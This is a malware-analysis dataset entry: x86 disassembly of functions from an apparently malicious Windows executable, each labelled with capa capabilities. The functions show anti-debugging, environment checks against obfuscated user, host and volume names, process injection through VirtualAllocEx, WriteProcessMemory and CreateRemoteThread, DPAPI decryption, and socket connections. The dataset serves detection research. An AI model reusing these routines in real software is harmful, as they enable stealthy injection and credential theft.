joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402220
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f6f9e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
xor esi, esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], 1
test eax, eax
je 0x4023e4
dec eax
mov dword [ebp + 8], eax
mov al, byte [edx]
inc edx
mov byte [ebp + esi - 0x14], al
inc esi
mov ah, byte [ebp - 0x12]
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 0xf], ah
mov byte [ebp - 0xd], ch
mov byte [ebp - 0xe], cl
cmp esi, 3
jne 0x402325
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shl cl, 4
shr al, 4
add cl, al
mov al, ah
mov byte [ebp - 0x17], cl
and ah, 0x3f
mov cl, ch
shr al, 6
and cl, 0xf
mov byte [ebp - 0x15], ah
shl cl, 2
add cl, al
xor esi, esi
mov byte [ebp - 0x16], cl
nop dword [eax + eax]
cmp dword [0x539b70], 0x10
mov ecx, 0x539b5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x539b5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.00402910
inc esi
cmp esi, 4
jl 0x4022f0
mov edx, dword [ebp - 0x1c]
xor esi, esi
mov ch, byte [ebp - 0xd]
mov cl, byte [ebp - 0xe]
mov eax, dword [ebp + 8]
test eax, eax
jne 0x402290
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x4023e4
mov eax, 3
sub eax, esi
mov dword [ebp + 8], eax
cmp esi, 3
jge 0x402366
push eax
lea eax, [ebp - 0x14]
add eax, esi
push 0
push eax
call fcn.004d31f0
mov dl, byte [ebp - 0x12]
add esp, 0xc
mov ch, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
jmp 0x402369
mov dl, byte [ebp - 0xf]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, ch
shr al, 4
and ch, 0xf
shl cl, 4
add cl, al
shl ch, 2
mov al, dl
mov byte [ebp - 0x17], cl
shr al, 6
and dl, 0x3f
add ch, al
mov byte [ebp - 0x15], dl
lea eax, [esi + 1]
mov byte [ebp - 0x16], ch
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x4023d0
xor esi, esi
cmp dword [0x539b70], 0x10
mov ecx, 0x539b5c
movzx eax, byte [ebp + esi - 0x18]
cmovae ecx, dword [0x539b5c]
movzx eax, byte [eax + ecx]
mov ecx, edi
push eax
call fcn.00402910
inc esi
cmp esi, dword [ebp - 0x14]
jl 0x4023a3
mov esi, dword [ebp - 0x1c]
cmp esi, 3
jge 0x4023e4
push 0x3d
mov ecx, edi
call fcn.00402910
sub dword [ebp + 8], 1
jne 0x4023d5
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x403980
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f720f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.004b98fd
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x403a26
push eax
push esi
call fcn.004b9c3e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.004b91e0
int3
Function at 0x40b4d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f8896
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 0x18], 1
xor ecx, ecx
mov word [ebp - 0xf], 0xbdad
mov byte [ebp - 0xd], 0
nop
movzx eax, byte [ebp + ecx - 0xf]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xf], al
inc ecx
cmp ecx, 2
jb 0x40b540
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0xf]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004d7060
mov edi, eax
add esp, 8
test edi, edi
je 0x40b5dc
push 2
push 0
push edi
call fcn.004dae3c
push edi
call fcn.004d6beb
push 0
push 0
push edi
mov dword [ebp - 0x14], eax
call fcn.004dae3c
mov ecx, dword [esi + 0x10]
add esp, 0x1c
mov eax, dword [ebp - 0x14]
cmp eax, ecx
ja 0x40b5b0
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x40b5a7
mov ecx, dword [esi]
mov dword [esi + 0x10], eax
mov byte [ecx + eax], 0
jmp 0x40b5bf
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.00462390
mov eax, dword [ebp - 0x14]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x40b5c9
mov ecx, dword [esi]
push edi
push eax
push 1
push ecx
call fcn.004dfc31
push edi
call fcn.004da8ee
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x40b940
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x40b988
mov edx, ecx
push esi
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x40b950
sub edx, esi
pop esi
je 0x40b988
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40b982
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40b982
cmp eax, 0x20
je 0x40b982
cmp eax, 0x45
je 0x40b982
cmp eax, 0x24
jne 0x40b988
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x414e10
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414e50
Capabilities:
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push 0x100
lea eax, [ebp - 0x110]
mov dword [ebp - 0xc], 0x100
push 0
push eax
mov dword [ebp - 0x10], 0x100
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 8], 0xb1b7b095
xor ecx, ecx
mov dword [ebp - 4], 0xbab09b
movzx eax, byte [ebp + ecx - 8]
push eax
call fcn.00461130
mov byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 7
jb 0x414ec5
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.004d26a0
add esp, 8
test eax, eax
jne 0x414f35
mov dword [ebp - 7], 0xe6939e97
xor ecx, ecx
mov word [ebp - 3], 0x978b
mov byte [ebp - 1], al
movzx eax, byte [ebp + ecx - 7]
push eax
call fcn.00461130
mov byte [ebp + ecx - 7], al
inc ecx
cmp ecx, 6
jb 0x414f03
lea eax, [ebp - 7]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004d26a0
add esp, 8
test eax, eax
jne 0x414f35
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x4152a0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4152c2
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4152c4
mov bl, 1
mov dword [ebp - 0x10], 0x83e59c
xor ecx, ecx
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x10]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 3
jb 0x4152d0
push 0x105
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x415440
mov dword [ebp - 0xa], 0xa7b09d89
xor ecx, ecx
mov dword [ebp - 6], 0xa9ad9b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xa]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xa], al
inc ecx
cmp ecx, 7
jb 0x415330
lea ecx, [ebp - 0xa]
lea eax, [ebp - 0x120]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415370
test dl, dl
je 0x41536c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415370
add eax, 2
add ecx, 2
test dl, dl
jne 0x415350
xor eax, eax
jmp 0x415375
sbb eax, eax
or eax, 1
test eax, eax
je 0x415439
mov dword [ebp - 9], 0xa7b09d89
xor ecx, ecx
mov word [ebp - 5], 0x998c
mov byte [ebp - 3], 0
movzx eax, byte [ebp + ecx - 9]
push eax
call fcn.00461130
mov byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 6
jb 0x415390
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4153d0
test dl, dl
je 0x4153cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4153d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4153b0
xor eax, eax
jmp 0x4153d5
sbb eax, eax
or eax, 1
test eax, eax
je 0x415439
mov dword [ebp - 0xc], 0xa7b09d89
xor ecx, ecx
mov dword [ebp - 8], 0xacbaaa98
mov word [ebp - 4], 0xab
nop
movzx eax, byte [ebp + ecx - 0xc]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xc], al
inc ecx
cmp ecx, 9
jb 0x4153f0
lea ecx, [ebp - 0xc]
lea eax, [ebp - 0x120]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415430
test dl, dl
je 0x41542c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415430
add eax, 2
add ecx, 2
test dl, dl
jne 0x415410
xor eax, eax
jmp 0x415435
sbb eax, eax
or eax, 1
test eax, eax
jne 0x415440
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416580
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f9afb
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x53c560]
push edi
mov edi, ecx
test al, 1
jne 0x4165fd
or eax, 1
mov dword [0x53c560], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [0x53c56c], xmm0
mov eax, 0x2f5c
mov dword [0x53c57c], 2
push 0x505640
mov dword [0x53c580], 0xf
mov word [0x53c56c], ax
mov byte [0x53c56e], 0
call fcn.004baf9c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x416607
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41670f
cmp dword [0x53c580], 0x10
mov ecx, dword [edi + 0x10]
push esi
mov esi, 0x53c56c
mov dword [ebp - 0x10], edi
cmovae esi, dword [0x53c56c]
cmp dword [edi + 0x14], 0x10
jb 0x41663c
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
cmp dword [0x53c57c], 0
je 0x4166e9
test ecx, ecx
je 0x4166e9
push 0x100
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.004d31f0
mov ecx, dword [0x53c57c]
add esp, 0xc
add ecx, esi
cmp esi, ecx
je 0x416683
movzx eax, byte [esi]
inc esi
mov byte [ebp + eax - 0x128], 1
cmp esi, ecx
jne 0x416673
mov eax, dword [edi + 0x10]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x10]
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edx]
add ecx, edx
mov al, byte [ebp + eax - 0x128]
test al, al
jne 0x4166b7
cmp ecx, edx
je 0x4166e9
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x128]
test al, al
je 0x4166a3
sub ecx, edx
cmp ecx, 0xffffffff
je 0x4166e9
push ecx
push 0
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.0045f8d0
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.00416580
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00402890
cmp dword [edi + 0x14], 0x10
pop esi
jb 0x4166f2
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
pop edi
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x4167d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
lea eax, [ebp - 0x54]
mov esi, ecx
push 0
push eax
call fcn.004d31f0
add esp, 0xc
mov dword [ebp - 0x54], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop esi
test eax, eax
je 0x41682d
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret
Function at 0x419920
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f879d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0x40
cmovae ebx, dword [ebp + 8]
cmovae ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ebx
push 0x3000
mov ebx, dword [ebx + 0x3c]
add ebx, ecx
push dword [ebx + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
push dword [ebx + 0x54]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x4199da
lea esi, [ebx + 0x10c]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebp + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x14]
push ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x4199a6
mov esi, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, eax
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebx + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x220], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push 0
push eax
mov dword [ebp - 0x224], ecx
call fcn.004d31f0
cmp dword [0x539bd0], 0x10
mov ecx, 0x539bbc
mov eax, 0x539bec
cmovae ecx, dword [0x539bbc]
cmp dword [0x539c00], 0x10
push ecx
cmovae eax, dword [0x539bec]
push eax
lea eax, [ebp - 0x218]
push str._s_s
push eax
call fcn.00402e20
add esp, 0x1c
lea eax, [ebp - 0x230]
push 0
push 0x218
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x10]
lea esi, [edi + 0x218]
push 0
mov eax, fcn.00419910
sub eax, 0x419800
push eax
push 0x419800
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x41bba0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
mov esi, edx
mov ebx, ecx
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x41bc63
mov dword [esp + 0x10], eax
xorps xmm0, xmm0
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
movlpd qword [esp + 0x24], xmm0
push eax
push esi
push ebx
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x41bc5d
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41bc71
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x41bc5d
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41bc6d
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x41bc21
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x41bc5d
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421560
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f7dfd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], ecx
nop
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
jne 0x4215b6
add esi, 0x10
cmp esi, 0x800
jbe 0x421590
cmp esi, 0x800
jae 0x4215da
push 0x800
call fcn.004dff7e
mov edi, eax
add esp, 4
test edi, edi
jne 0x4215ec
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004d31f0
mov esi, dword [ebp - 0x18]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [ebp - 0x14]
push edi
call fcn.004d2ab0
add esp, 0x18
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x38]
movups xmmword [ebp - 0x38], xmm0
push esi
push edi
call fcn.00402aa0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
mov esi, dword [ebp - 0x10]
cmp esi, eax
je 0x421676
mov ecx, esi
call fcn.00402890
movups xmm0, xmmword [ebp - 0x38]
mov eax, 0xf
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x28]
mov dword [ebp - 0x24], eax
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x38], 0
jmp 0x421679
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x4216af
mov edx, dword [ebp - 0x38]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4216a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4216e5
push ecx
push edx
call fcn.004bafb1
add esp, 8
push edi
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
call fcn.004df828
add esp, 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.004d64b0
int3
Function at 0x461150
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502260
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov dword [ecx], 0
mov byte [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ebp - 4], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov byte [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ecx + 0x24], 0
mov byte [ecx + 0x28], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
mov byte [ecx + 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x461c70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50235d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov eax, ecx
push edi
mov dword [ebp - 0x10], eax
call fcn.004631e0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
lea esi, [eax + 8]
mov dword [eax + 0x2c], edx
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea edi, [eax + 0x14]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4c], 0
mov eax, dword [0x53c510]
mov ecx, dword [0x53c514]
mov dword [edx + 0x40], eax
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov eax, edx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x461df0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50238e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov dword [ebp - 0x10], 0
push ebx
mov ebx, ecx
push esi
push edi
push 0
mov eax, dword [ebx]
push 0
mov dword [ebp - 0x14], ebx
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.00404230
push 8
call fcn.004bad30
push 1
mov esi, eax
call fcn.004b9b3e
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 2
mov eax, dword [edi + 0x30]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0x18], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x10], 2
push eax
call fcn.00463540
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov edx, 2
mov byte [ebp + 0xb], al
mov dword [ebp - 0x10], edx
and edx, 0xfffffffd
mov dword [ebp - 0x10], edx
mov byte [ebp - 4], 1
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 8]
test eax, eax
je 0x461f1d
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x461f39
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.00404230
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc